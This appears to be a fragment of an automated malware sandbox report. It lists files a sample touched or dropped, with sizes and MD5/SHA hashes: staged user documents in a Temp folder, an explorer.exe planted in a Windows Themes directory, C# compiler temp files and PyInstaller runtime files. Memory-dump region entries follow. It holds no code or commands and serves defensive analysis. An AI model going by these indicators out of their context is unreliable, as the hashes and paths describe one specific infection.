C:\Users\Admin\AppData\Local\Temp\ \Common Files\Desktop\InvokeGrant.mp3Filesize
644KB
MD5603851e429ab19833c4ea86e2d643a92
SHA1a9020fbd57af2b6be22710ac236a84e3698f5f1b
SHA25640a55ca4b7bcbbe288dffb0ed1669982808d5aa99145f029d1af226d55f240a1
SHA512b52be63ce669e85500c223435552563d887fdfc1aebdac647de17b1c3d00d327324ff2bca3bd7ce97d9e58cc9a8f27edaa1823044797266728433f24fadbb2b9
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Desktop\WritePing.jpgFilesize
853KB
MD5d472ccf601e21fa1acc2eb347ddcd848
SHA192922737e21f1a3e4d353a30a3131c7b8eb26309
SHA2562274926dd84d465fa3fdb9f6e13af9ea4e6b1d59350750359013f6850012c136
SHA512551c00f88c2e45423c18f45c2234cc9ccf19c41a963005cf48ab0718ea9ef17088cc1a28fcb090a2075c277defde232fbae3df6cf8fa3b4b88aef8bcb27cef61
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\Are.docxFilesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\EditHide.pdfFilesize
507KB
MD52048f2c8ada63ba72b1290ee15ab3aea
SHA1a8ce508d7351694d69e3211abc0e307d7488224b
SHA256b420090e348ca4130ccdd8910f811ab1ca00645aa85c5f5bec62d5a4f078a7f8
SHA512a5c3e77014b630c686bdcf6d708f99d6c6825b0d8ffda96be562b2b287433eedfa12cc0499377c95a156355d7e54b397122e6fef36f372314651567670b96f6d
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\EnterUnpublish.docFilesize
1.2MB
MD54d48f961a6265dd35cb9beff9f0d609a
SHA1457dcc6e6cf58216c713540f3fb7fa924bfda519
SHA256a492b734f6f53bd013198ec3dd2d9c87f19eea24fd8eff0d851e31e5a96159a9
SHA51222cd693becc5959ce83087f4af549aa3fd1769e9213a8afb0156e29ce6b652422ad4dbf33a617300056fd859878bdffe55edecfa5a3862eb2230ff2c0e342088
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\Files.docxFilesize
11KB
MD54a8fbd593a733fc669169d614021185b
SHA1166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA256714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
SHA5126b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\LockNew.docxFilesize
1.2MB
MD5d5ba3fa805ec53cf44b7849749c649b6
SHA17f78e330b15a99330181d924e810d8aab9b905e0
SHA256daf5bbaa6bb727ee05b371d28503e9932a483a9af4abdbb439cddac71bc08334
SHA512393171c680374dc8c0f7749e1a9af470e70bf8bd9334874d280bedcdc5769d6582639f331847d0ba1cd4bd599e745450a5173f160518a7e87ca087588d775c3b
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\Opened.docxFilesize
11KB
MD5bfbc1a403197ac8cfc95638c2da2cf0e
SHA1634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA256272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
SHA512b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\Recently.docxFilesize
11KB
MD53b068f508d40eb8258ff0b0592ca1f9c
SHA159ac025c3256e9c6c86165082974fe791ff9833a
SHA25607db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
SHA512e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32
-
C:\Users\Admin\AppData\Local\Temp\ \Common Files\Documents\SubmitConvertFrom.xlsxFilesize
1.8MB
MD52a3055e914ad5b4af25dcc515646ad1d
SHA194f363ecb4aa21643b66106c2270a31ea4e0a0c4
SHA2565324838a087aab79078d249c1ce4aafee30a9aafc5ea97c46bd7fd4ccf35cdda
SHA51278dc2b28c8706453ad51915b226c74b47347476de7b5ca664b8d203ed7ce5955bd66ca22c368f626b16bfd294abc7f7826c6d79daecebd824ced883446dc30e1
-
C:\Windows\Resources\Themes\explorer.exeFilesize
135KB
MD5ac4b4c20dc5c198b5238246e1abb8d2d
SHA1f3285c14b4eb7231aa46a35a816e0748ebc5bf17
SHA256edf56213bbfd8de7c404fee0ca01e542411c18cdfec9face6b4337b6c0966961
SHA512ba9162e7976ce455aa1bb3c61f2970ef316b806a158884766ec39ade4e400f3a21c940282ff485f5f3742821e912889ae2aa8462517a84ecc413c64d40cd51be
-
\??\c:\Users\Admin\AppData\Local\Temp\zcix32tz\CSC8DCA49F85AAC401A8FC293233EB3391.TMPFilesize
652B
MD5113918b302be19178223e0d3a393957d
SHA1f65ca032219db566d1e59e9efdca59ca86ef1249
SHA256a6909ba793ea08cae977480cc21816dcda019fe72b5100cfc35b95589168fdf7
SHA51247fc38e6a7834553ded9cb600033254a1cbb7692ef470e72ebdf595342afb2b5348b9fb449164f753f89deea3137fc68cd28e6c0af65f7113a4026e572f33877
-
\??\c:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.0.csFilesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
\??\c:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.cmdlineFilesize
607B
MD5c572396c27961757898b2a9d0f87fd47
SHA18f587b999ea7342809cf0e482f6a6fc69c6b95c0
SHA25656263290707c2c4079968a4155c3e9a7112d7fdfcdbb7f4d6917a593b4adcfb6
SHA512169b4c7ffe4bb9b83bc7507c5f5d04b6b8c7e0a640acdb18b5861f005f23a3e1f2755cd9fa92039496a08cf3577d62f28180325dd4442a6cc0ff1f5fd3c781e0
-
\Users\Admin\AppData\Local\Temp\_MEI37642\_ctypes.pydFilesize
58KB
MD55006b7ea33fce9f7800fecc4eb837a41
SHA1f6366ba281b2f46e9e84506029a6bdf7948e60eb
SHA2568f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
SHA512e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c
-
\Users\Admin\AppData\Local\Temp\_MEI37642\libffi-8.dllFilesize
29KB
MD508b000c3d990bc018fcb91a1e175e06e
SHA1bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA5128820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf
-
memory/1536-529-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/1536-499-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/1616-527-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/1616-517-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/1768-0-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/1768-528-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/2576-343-0x0000022552D20000-0x0000022552D28000-memory.dmpFilesize
32KB
-
memory/2840-497-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmpFilesize
1.1MB
-
memory/2840-489-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmpFilesize
1.5MB
-
memory/2840-417-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmpFilesize
1.5MB
-
memory/2840-85-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmpFilesize
820KB
-
memory/2840-83-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmpFilesize
5.1MB
-
memory/2840-80-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmpFilesize
204KB
-
memory/2840-77-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmpFilesize
100KB
-
memory/2840-78-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmpFilesize
52KB
-
memory/2840-74-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmpFilesize
1.5MB
-
memory/2840-72-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmpFilesize
140KB
-
memory/2840-70-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmpFilesize
100KB
-
memory/2840-68-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmpFilesize
180KB
-
memory/2840-84-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmpFilesize
5.9MB
-
memory/2840-61-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmpFilesize
140KB
-
memory/2840-62-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmpFilesize
60KB
-
memory/2840-481-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmpFilesize
100KB
-
memory/2840-494-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmpFilesize
820KB
-
memory/2840-90-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmpFilesize
52KB
-
memory/2840-498-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmpFilesize
52KB
-
memory/2840-542-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmpFilesize
80KB
-
memory/2840-493-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmpFilesize
5.1MB
-
memory/2840-492-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmpFilesize
204KB
-
memory/2840-483-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmpFilesize
5.9MB
-
memory/2840-416-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmpFilesize
140KB
-
memory/2840-484-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmpFilesize
140KB
-
memory/2840-39-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmpFilesize
5.9MB
-
memory/2840-92-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmpFilesize
1.1MB
-
memory/2840-544-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmpFilesize
1.1MB
-
memory/2840-545-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmpFilesize
52KB
-
memory/2840-88-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmpFilesize
80KB
-
memory/2840-87-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmpFilesize
140KB
-
memory/2840-546-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmpFilesize
820KB
-
memory/2840-530-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmpFilesize
5.9MB
-
memory/2840-555-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmpFilesize
204KB
-
memory/2840-556-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmpFilesize
5.1MB
-
memory/2840-554-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmpFilesize
1.5MB
-
memory/2840-553-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmpFilesize
100KB
-
memory/2840-552-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmpFilesize
52KB
-
memory/2840-551-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmpFilesize
140KB
-
memory/2840-550-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmpFilesize
100KB
-
memory/2840-549-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmpFilesize
180KB
-
memory/2840-548-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmpFilesize
60KB
-
memory/2840-547-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmpFilesize
140KB
-
memory/3144-101-0x00000242A5140000-0x00000242A5162000-memory.dmpFilesize
136KB
-
memory/3144-105-0x00000242A5340000-0x00000242A53B6000-memory.dmpFilesize
472KB
-
memory/4160-526-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/4160-524-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB